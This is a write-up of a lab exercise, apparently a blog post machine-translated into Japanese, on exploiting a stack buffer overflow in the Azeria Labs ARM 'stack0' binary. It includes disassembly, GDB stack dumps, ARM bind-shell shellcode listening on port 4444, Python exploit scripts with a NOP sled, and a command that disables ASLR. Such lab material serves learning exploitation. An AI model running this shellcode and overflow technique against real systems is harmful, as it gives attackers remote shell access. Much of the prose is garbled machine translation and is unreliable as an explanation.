スタックオーバーフロー実際の分析(GDB)のアセンブリARM

エディタ:安全課ポータル

入門

時間の長い期間の後azeria-Labsの学習の集大成のためのARMベース、ウェブサイトで提供された例によると、彼らの学習成果を確認するために、ARMコンパイルの基礎の多くは、簡単な筆記シェルコードを学んだ、より詳細に行います逆解析、およびシェルコードの実装、彼らのARMを統合するために、エントリのための学習。

例ダウンロード:gitのクローンhttps://github.com/azeria-labs/ARM-challenges.git
デバッグ環境:Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux+ GNU gdb (Raspbian 7.7.1+dfsg-5+rpi1) 7.7.1(彼らはARMアーキテクチャも可能である持っている場合、これらは、オペレーティングシステムに合わせて、チュートリアルのウェブサイトを設置しています)

stack0

まず、私たちは情報ファイルを見てfile stack0、情報は、プログラムのリターンから見ることができ、最後の32ビットの実行可能プログラムであるnot stripped私たちは、このプログラムのシンボル情報を見ることができ、取り除か缶のBaiduについての具体的な詳細

stack0:ELF 32ビットLSB実行、ARM、EABI5バージョン1(SYSV)、動的にリンクされ、インタプリタ/lib/ld-linux-armhf.so.3、GNU / Linuxの2.6.32、BuildID [SHA1] = 1171fa6db1d5176af44d6d462427f8d244bd82c8ため、取り除きません

さんは彼に実行する権限を与えましょうchmod +x stack0、それを実行し、あなたが入力する必要があることがわかります、ここでショーを使用しgetsscanfこれらのメソッドの存在は持っている場合は、入力方法をとのように、オーバーフローの危険性を、私たちは長い間、1つの短い文字列を構築してみてくださいテストへ。
短い文字列の出力オプションを使用すると、単語を再試行してみましょう。
長い文字列は、我々は明らかに入力変数の値が変化し、カバーにつながることがわかります返回地址になり、Segmentation fault(访问了不可访问的内存,这个内存要么是不存在的,要么是受系统保护的)异常

13671484-51362725fa24e0d3.png
1.png

それはオーバーフローの脆弱性が存在する分析し、そして今、我々は彼の内部の世界に入るために必要がある、その徹底的洞察
彼はシンボルデータを削除していなかったので、彼のエントリ関数を見つけるための最初の我々の必要性、我々は直接実行nm stack0、あなたはエントリポイントを見ることができ、ライブラリの呼び出し機能やその他の情報は、それが明らかにエントリポイントであるべきmain機能を、我々はする必要がgdb波を行きます

         U abort@@GLIBC_2.4
00020684 B __bss_end__
00020684 B _bss_end__
00020680 B __bss_start
00020680 B __bss_start__
00010360 t call_weak_fn
00020680 b completed.9004
00020678 D __data_start
00020678 W data_start
00010384 t deregister_tm_clones
000103ec t __do_global_dtors_aux
00020564 t __do_global_dtors_aux_fini_array_entry
0002067c D __dso_handle
0002056c d _DYNAMIC
00020680 D _edata
00020684 B _end
00020684 B __end__
00010510 T _fini
00010414 t frame_dummy
00020560 t __frame_dummy_init_array_entry
0001055c r __FRAME_END__
         U gets@@GLIBC_2.4
00020654 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
000102c8 T _init
00020564 t __init_array_end
00020560 t __init_array_start
00010518 R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
00020568 d __JCR_END__
00020568 d __JCR_LIST__
         w _Jv_RegisterClasses
0001050c T __libc_csu_fini
000104a8 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.4
0001044c T main
         U puts@@GLIBC_2.4
000103b4 t register_tm_clones
00010324 T _start
00020680 D __TMC_END__

gdb stack0
GEF> disas stack0我々は分解の主な機能を見ることができますが、不快な一つのことは、いくつかのことです库函数API名前はなかった
ここ2つの解決策のアイデアを、それを表示申し出:

  • バージョンアップGDB(Baiduは、チュートリアルを見つけるためにGoogle、私が表示されることができる8.2バージョンにアップグレードしました。这里有点奇怪的是,我的版本已经很高了,但是对这个二进制文件还是不能识别库函数并显示并且stripped前后都显示不了,但是对于有些二进制文件它又可以显示,如果有大佬知道,希望在评论里帮助解惑一下,thanks
  • objdumpの表情、ここで私は主にobjdumpはを使用します
Dump of assembler code for function main:
   0x0001044c <+0>: push    {r11, lr}
   0x00010450 <+4>: add r11, sp, #4
   0x00010454 <+8>: sub sp, sp, #80 ; 0x50
   0x00010458 <+12>:    str r0, [r11, #-80] ; 0x50
   0x0001045c <+16>:    str r1, [r11, #-84] ; 0x54
   0x00010460 <+20>:    mov r3, #0
   0x00010464 <+24>:    str r3, [r11, #-8]
   0x00010468 <+28>:    sub r3, r11, #72    ; 0x48
   0x0001046c <+32>:    mov r0, r3
   0x00010470 <+36>:    bl  0x102e8
   0x00010474 <+40>:    ldr r3, [r11, #-8]
   0x00010478 <+44>:    cmp r3, #0
   0x0001047c <+48>:    beq 0x1048c <main+64>
   0x00010480 <+52>:    ldr r0, [pc, #24]   ; 0x104a0 <main+84>
   0x00010484 <+56>:    bl  0x102f4
   0x00010488 <+60>:    b   0x10494 <main+72>
   0x0001048c <+64>:    ldr r0, [pc, #16]   ; 0x104a4 <main+88>
   0x00010490 <+68>:    bl  0x102f4
   0x00010494 <+72>:    mov r0, r3
   0x00010498 <+76>:    sub sp, r11, #4
   0x0001049c <+80>:    pop {r11, pc}
   0x000104a0 <+84>:    andeq   r0, r1, r12, lsl r5
   0x000104a4 <+88>:    andeq   r0, r1, r8, asr #10
End of assembler dump.

objdumpの印刷結果、以下を省いディスプレイのいくつかは、分析の主要部分は出して、そして我々は、出力情報を輝いているので、あなたは、逆アセンブルコードと住所のすべてのセグメントを見ることができ、することができます

stack0:     file format elf32-littlearm


Disassembly of section .init:

000102c8 <_init>:
   102c8:   e92d4008    push    {r3, lr}
   102cc:   eb000023    bl  10360 <call_weak_fn>
   102d0:   e8bd8008    pop {r3, pc}

Disassembly of section .plt:

000102d4 <gets@plt-0x14>:
   102d4:   e52de004    push    {lr}        ; (str lr, [sp, #-4]!)
   102d8:   e59fe004    ldr lr, [pc, #4]    ; 102e4 <_init+0x1c>
   102dc:   e08fe00e    add lr, pc, lr
   102e0:   e5bef008    ldr pc, [lr, #8]!
   102e4:   00010370    .word   0x00010370

000102e8 <gets@plt>:
   102e8:   e28fc600    add ip, pc, #0, 12
   102ec:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   102f0:   e5bcf370    ldr pc, [ip, #880]! ; 0x370

000102f4 <puts@plt>:
   102f4:   e28fc600    add ip, pc, #0, 12
   102f8:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   102fc:   e5bcf368    ldr pc, [ip, #872]! ; 0x368

00010300 <__libc_start_main@plt>:
   10300:   e28fc600    add ip, pc, #0, 12
   10304:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   10308:   e5bcf360    ldr pc, [ip, #864]! ; 0x360

0001030c <__gmon_start__@plt>:
   1030c:   e28fc600    add ip, pc, #0, 12
   10310:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   10314:   e5bcf358    ldr pc, [ip, #856]! ; 0x358

00010318 <abort@plt>:
   10318:   e28fc600    add ip, pc, #0, 12
   1031c:   e28cca10    add ip, ip, #16, 20 ; 0x10000
   10320:   e5bcf350    ldr pc, [ip, #848]! ; 0x350

Disassembly of section .text:

00010324 <_start>:
   10324:   e3a0b000    mov fp, #0
   10328:   e3a0e000    mov lr, #0
   1032c:   e49d1004    pop {r1}        ; (ldr r1, [sp], #4)
   10330:   e1a0200d    mov r2, sp
   10334:   e52d2004    push    {r2}        ; (str r2, [sp, #-4]!)
   10338:   e52d0004    push    {r0}        ; (str r0, [sp, #-4]!)
   1033c:   e59fc010    ldr ip, [pc, #16]   ; 10354 <_start+0x30>
   10340:   e52dc004    push    {ip}        ; (str ip, [sp, #-4]!)
   10344:   e59f000c    ldr r0, [pc, #12]   ; 10358 <_start+0x34>
   10348:   e59f300c    ldr r3, [pc, #12]   ; 1035c <_start+0x38>
   1034c:   ebffffeb    bl  10300 <__libc_start_main@plt>        ;这个库函数获取了main函数的地址,开启了main函数的执行流程
   10350:   ebfffff0    bl  10318 <abort@plt>
   10354:   0001050c    .word   0x0001050c
   10358:   0001044c    .word   0x0001044c               ;很明显这是main函数的地址
   1035c:   000104a8    .word   0x000104a8
...............

0001044c <main>:
   1044c:   e92d4800    push    {fp, lr}
   10450:   e28db004    add fp, sp, #4
   10454:   e24dd050    sub sp, sp, #80 ; 0x50
   10458:   e50b0050    str r0, [fp, #-80]  ; 0xffffffb0
   1045c:   e50b1054    str r1, [fp, #-84]  ; 0xffffffac
   10460:   e3a03000    mov r3, #0
   10464:   e50b3008    str r3, [fp, #-8]
   10468:   e24b3048    sub r3, fp, #72 ; 0x48
   1046c:   e1a00003    mov r0, r3
   10470:   ebffff9c    bl  102e8 <gets@plt>
   10474:   e51b3008    ldr r3, [fp, #-8]
   10478:   e3530000    cmp r3, #0
   1047c:   0a000002    beq 1048c <main+0x40>
   10480:   e59f0018    ldr r0, [pc, #24]   ; 104a0 <main+0x54>
   10484:   ebffff9a    bl  102f4 <puts@plt>
   10488:   ea000001    b   10494 <main+0x48>
   1048c:   e59f0010    ldr r0, [pc, #16]   ; 104a4 <main+0x58>
   10490:   ebffff97    bl  102f4 <puts@plt>
   10494:   e1a00003    mov r0, r3
   10498:   e24bd004    sub sp, fp, #4
   1049c:   e8bd8800    pop {fp, pc}
   104a0:   0001051c    .word   0x0001051c
   104a4:   00010548    .word   0x00010548
..............

そして、徐々に以下の分析を行います。

  1. 保存された当前栈帧的返回地址上一个栈帧フレームアドレス。リターンアドレススタックフレームの現在のトップに対して点プッシュ操作は、変数のためのスペースの80バイトの大きさに押され、パラメータは、一時記憶空間を用意しました。以下のためのスタッキングは、とに置かれている位置、変数、我々は保護する必要があります。
    帧指针r11

    r0, r1栈顶上一个栈帧
   0x0001044c <+0>: push    {r11, lr}
   0x00010450 <+4>: add r11, sp, #4
   0x00010454 <+8>: sub sp, sp, #80 ; 0x50
   0x10458 <main+12>        str    r0,  [r11,  #-80]    ; 0x50
  1. r30の値を割り当てるレジスタは、次いで0にR3に格納されているr11-8空間のメモリ・アドレスは、アドレスによって指し示さに直面している上一个栈帧的帧指针r11-4(R11は、現在のスタックフレームのフレーム・ポインタであるスタックフレームの現在のトップを指し、リターンアドレス記憶の上部)
      0x1045c <main+16>        str    r1,  [r11,  #-84] ; 0x54
      0x10460 <main+20>        mov    r3,  #0
      0x10464 <main+24>        str    r3,  [r11,  #-8]
  1. r11-0x48は(0xbefff0e4)R3アドレスR0に割り当て、その後にパラメータとして渡されgets、この関数は、このアドレス空間0xbefff0e4に格納されたユーザ入力を、送信、実行機能
->   0x10468 <main+28>        sub    r3,  r11,  #72 ; 0x48,上一个指针的两个变量存储用了8字节空间,刚好从r11-72的地址开始给当前栈帧的
                                                    ;参数使用
      0x1046c <main+32>        mov    r0,  r3
      0x10470 <main+36>        bl     0x102e8 <gets@plt>
  1. 文字列を入力して起動し、テスト・オーバーフロー
    を表示アドレス空間に格納された値、および以下の0xbefff0e4ユーザー入力のアドレス格納場所は文字列の先頭がある、のは、保存され、次のアドレスを見て別の入力文字の値を変更してみましょう
gef> x/19x 0xbefff0e4
0xbefff0e4: 0xb6ffbfc4  0x00000003  0xb6e77be8  0x00000000
0xbefff0f4: 0xb6e779f8  0xbefff130  0xb6fd618c  0x00000000
0xbefff104: 0x00000000  0x00010414  0x000104f8  0xb6fb2ba0
0xbefff114: 0x000104a8  0x00000000  0x00010324  0x00000000
0xbefff124: 0x00000000  0x00000000  0xb6e8c294

出力1〜4を入力してみてください、それがあることは明らかである0xb6ffbfc4 0x00000003最初の4バイト0x31313131(16進数1)カバー、0x00000003この値には、03デフォルトで使用される関数を取得0x00する文字列をカバーするために使用されるエンドフラグ

gef> x/19x 0xbefff0e4
0xbefff0e4: 0x31313131  0x00000000  0xb6e77be8  0x00000000
0xbefff0f4: 0xb6e779f8  0xbefff130  0xb6fd618c  0x00000000
0xbefff104: 0x00000000  0x00010414  0x000104f8  0xb6fb2ba0
0xbefff114: 0x000104a8  0x00000000  0x00010324  0x00000000
0xbefff124: 0x00000000  0x00000000  0xb6e8c294

アップリターンアドレスへの十分な長さのレッツ・直接入力、上記に従ってsub r3, r11, #72計算書、r11-72ストアとして初期アドレスは、ユーザの入力がそうすることを、少なくとも72の入力の長さ、知ることができる0xb6e8c294最下位ビットが94され00てみましょう、カバーカバー1の入力72は、我々が、予想通りということは明らかです。(依然として達成することができないプログラムの崩壊につながったそのアドレスを、存在してもよく、いくつかの文字がより完全に2つの文字のみ以来最低レベルをカバーする、被覆することができる入力)

0xbefff0e4: 0x31313131  0x31313131  0x31313131  0x31313131
0xbefff0f4: 0x31313131  0x31313131  0x31313131  0x31313131
0xbefff104: 0x31313131  0x31313131  0x31313131  0x31313131
0xbefff114: 0x31313131  0x31313131  0x31313131  0x31313131
0xbefff124: 0x31313131  0x31313131  0xb6e8c200
  1. 最後のステップ--- shellcodeこのオーバーフロー、最も完璧な結末を利用するためにシェルコードを作成します。:特定の書き込みシェルコードは、私の他の記事を参照することができhttps://www.jianshu.com/p/16f1c9fe8541
    シェルコードコード--- BindShell
.section .text

.global _start
_start:
    .code 32
    //arm set switch thumb set
    add r3, pc, #1
    bx r3

    .code 16
    //create a socket 
    mov r0, #2
    mov r1, #1
    sub r2, r2, r2
    mov r7, #200
    add r7, #81 
    svc #1  
    
    //bind local address
    mov r4, r0
    adr r1, local_addr
    strb r2, [r1, #1]
    strh r2, [r1, #4]
    nop
    strb r2, [r1, #6]
    strb r2, [r1, #7]
    mov r2, #16
    add r7, #1
    svc #1
    

    //start listen,wait for connection
    mov r0, r4
    mov r1, #2
    add r7, #2
    svc #1

    //accept first connection
    mov r0, r4
    eor r1, r1, r1
    eor r2, r2, r2
    add r7, #1
    svc #1
    mov r4, r0
    
    //change stdin/stdout/stderr to /bin/sh
    mov r0, r4
    sub r1, r1, r1
    mov r7, #63
    svc #1

    mov r0, r4
    mov r1, #1
    svc #1
    
    mov r0, r4
    mov r1, #2
    svc #1

    //execve("/bin/sh")
    adr r0, bin_sh
    eor r1, r1, r1
    eor r2, r2, r2
    strb r2, [r0, #7]
    mov r7, #11
    svc #1

local_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 1,1,1,1

bin_sh:
.ascii "/bin/shX"

hexdump -v -e '"\\""x" /1 "%02x" ""' bindshell.bin進シェルコードを生成します
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58

シェルコードの後に書かれた、私たちが見つける必要があり合适的位置、ストアドプロシージャは、通常の良いシェルコードシェルコードを確保するために行うことができ、上記の分析によると、我々はリターンアドレスを得ることができます0xb6e8c294+ 8 = 0xbefff124メモリアドレスに格納されている0xbefff12c、と我々のデータは、スタック領域は次のように拡張されているオーバーフローします私たちができるよう将返回地址改成0xbefff12c+4配置し、これはシェルコードの後ろにコードを実行します

0xbefff124: 0x00000000  0x00000000  0xb6e8c294

最初のステップ:今のリターンアドレスの範囲は0xbefff130、ここで私は、充填文字、カバーとリターンアドレスにPythonスクリプトを使用しています。その後python poc.py >exp、中シェルコードのEXPファイル、使用GDBを書くr < expstack0ファイルを実行するための入力としてファイルをexpにため。あなたが見ることができるr11ポイントを返回地址、格納された値があることを起こります下一个栈地址

poc.py

port struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
//把0xbefff130转成字符串,格式为`I`unsigned int(四字节长度刚好)
return_addr = struct.pack("I", 0xbefff130)

print padding + return_addr

結果:

0xbefff128|+0x0000: 0x31313131  <-$sp
0xbefff12c|+0x0004: 0xbefff130 -> 0xb6fb1000 -> 0x0013cf20  <-$r11
0xbefff130|+0x0008: 0xb6fb1000 -> 0x0013cf20

その後、Pythonスクリプト内シェルコードを追加した後、次のスクリプトを実行します。

import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff130)

payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58"

print padding + return_addr + payload

私たちが使用している場合gdb、実行r < exp時のデバッグを、あなたは、クエリ・ポートを見ることができる4444ポートが成功した実装を関数exp、リスニングを開始しました

tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN 

今回我々は、使用nc -vv 127.0.0.1 4444に成功返し、リモート接続、クライアントとサーバーの成功接続をコマンドを実行し
、クライアントに戻って:

pi@raspberrypi:~/Desktop $ nc -vv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
whoami
pi
ps
  PID TTY          TIME CMD
  572 pts/0    00:00:33 bash
 6522 pts/0    00:00:06 gdb
 6526 pts/0    00:00:00 sh
 6534 pts/0    00:00:00 ps

サーバが実行する新しいプロセスに結果表示を返します。/bin/sh

gef> r < exp
Starting program: /home/pi/Desktop/ARM-challenges/stack0 < exp
you have changed the 'modified' variable
process 6526 is executing new program: /bin/dash
  1. 環境変数--- NOP技術、新しいプロセスが問題を発生させる
    、我々は直接実行すると、成功したが、ステップ6の試運転後のために./stack0 <exp、以下のようにエラーが返されたとき。だから我々はこの問題に対処するために、最後のシングル・ステップを開設しました。この問題の主な理由は、シェルコードの場所に影響を与える、小さなマージンをシフトしているスタックを引き起こすスタック環境変数が異なっています。
    you have changed the 'modified' variable
    Segmentation fault

私たちは、使用gdb /home/pi/Desktop/ARM-challenges/stack0してgdb ./stack0デバッグ手順に完全なパスの下に、そしてブレークポイントを設定シェルコードを実行する前に、との定義hook-stop、実行、実行ブレークポイントの前に、スタック内の印刷データをr<exp観測後のスタックデータが返され、スタックデータが受け大きな変化を持っていることは明らかです

gef> define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/8wx $sp
>end

リターンスタックデータ結果

gdb ./stack0
0xbefff128: 0x31313131  0xbefff130  0xe28f3001  0xe12fff13
0xbefff138: 0x21012002  0x27c81a92  0xdf013751  0xa1111c04


gdb /home/pi/Desktop/ARM-challenges/stack0
0xbefff138: 0x00000000  0xb6e8c294  0xb6fb1000  0xbefff294
0xbefff148: 0x00000001  0x0001044c  0xb6ffe0b8  0xb6ffddc0

スタックデータライン1000印刷するには、次の試みx/1000s $sp以下に示すように異なる固有の差を観察するためには、店舗環境変数の場所で、アドレス0xbefffcddデータは同じであるが、なぜならpwd变量的长度不一致,导致了需用用更多的栈空间存储多余的数据,所以从这往后,栈内数据发生了变化

gdb ./stack0的输出
0xbefffc8c: "_=/usr/bin/gdb"
0xbefffc9b: "LC_IDENTIFICATION=zh_CN.UTF-8"
0xbefffcb9: "PWD=/home/pi/Desktop/ARM-challenges"
0xbefffcdd: "LANG=en_GB.UTF-8"


gdb /home/pi/Desktop/ARM-challenges/stack0的输出
0xbefffc9b: "_=/usr/bin/gdb"
0xbefffcaa: "LC_IDENTIFICATION=zh_CN.UTF-8"
0xbefffcc8: "PWD=/home/pi/Desktop"
0xbefffcdd: "LANG=en_GB.UTF-8"

具体的な解決策:

  • 削除する前に、実行環境変数
shell$ env -i ./stack0
(gdb) unset env
  • NOP:使用NOPスライドは、当社のシェルコードで、我々はシェルコードに100 NOPに参加します、次のPythonスクリプトは、究極のスクリプトです!
import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff130)

payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58"

print padding + return_addr + "\x90"*100 + payload

これまでのところ、私たちは、環境変数の原因を解決してきた栈数据移动问题私たちは時代に実行すると、./stack0 < exp

you have changed the 'modified' variable
Segmentation fault

この問題により導入された概念ASLRAddress Space Layout Randomization,地址空间布局随机化
のLinux ASLRには3 0,1,2に分割されており、ユーザーは、カーネル・パラメータrandomize_va_spaceスルー・レベルを制御することができます。彼らは、次のような効果に対応しています。より詳細な説明は、あなたのBaidu

  • 0:なしランダム化。それは近いASLRです。
  • 1:ランダム化さ禁じます。共有ライブラリ、スタック、MMAP()とVDSOは、ランダム化されます。
  • 2:完全にランダム化されました。ランダム化される、BRK()によって割り当てられたメモリ空間に基づいて1
    我々は値を変更するためのコマンドを使用し、ここで:
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

ここで奇跡を目撃する時間です。


13671484-c5cba01e62ff381e.png
シェルコードの実行成功

概要

これまでのところBenpian紙は基本的に完了し、この例では、実際には非常に入門ことですが、全体のプロセスがダウンして座って、それは理にかなって、私はあなたにいくつかの助けを与えることを願っています。もちろん、プロセスは非常に退屈さを学習の途中で多くの問題に会った、私たちは着実に前進忍耐とを持っている必要があり、この例を終え、私は、自分自身に感謝し、私はまた、古き良き鉄に感謝の助けを多く​​のことを学びました:大毛腿

付録の記事:
[1] ARM学習のウェブサイトアセンブラhttps://azeria-labs.com/writing-arm-assembly-part-1/
[2]実際のサンプルをダウンロードhttps://github.com/azeria-labs/ARM -challenges.git
[3]書き込みシェルコードアドレスに学習https://www.jianshu.com/p/16f1c9fe8541
[4]シェルコードオーバーフローのチュートリアルを使用してhttps://www.youtube.com/98c2a1d3-3d69-4931-9f27 -bd457a464f38

公開された118元の記事 ウォン称賛14 ビュー50000 +

おすすめ

転載: blog.csdn.net/github_38641765/article/details/86580446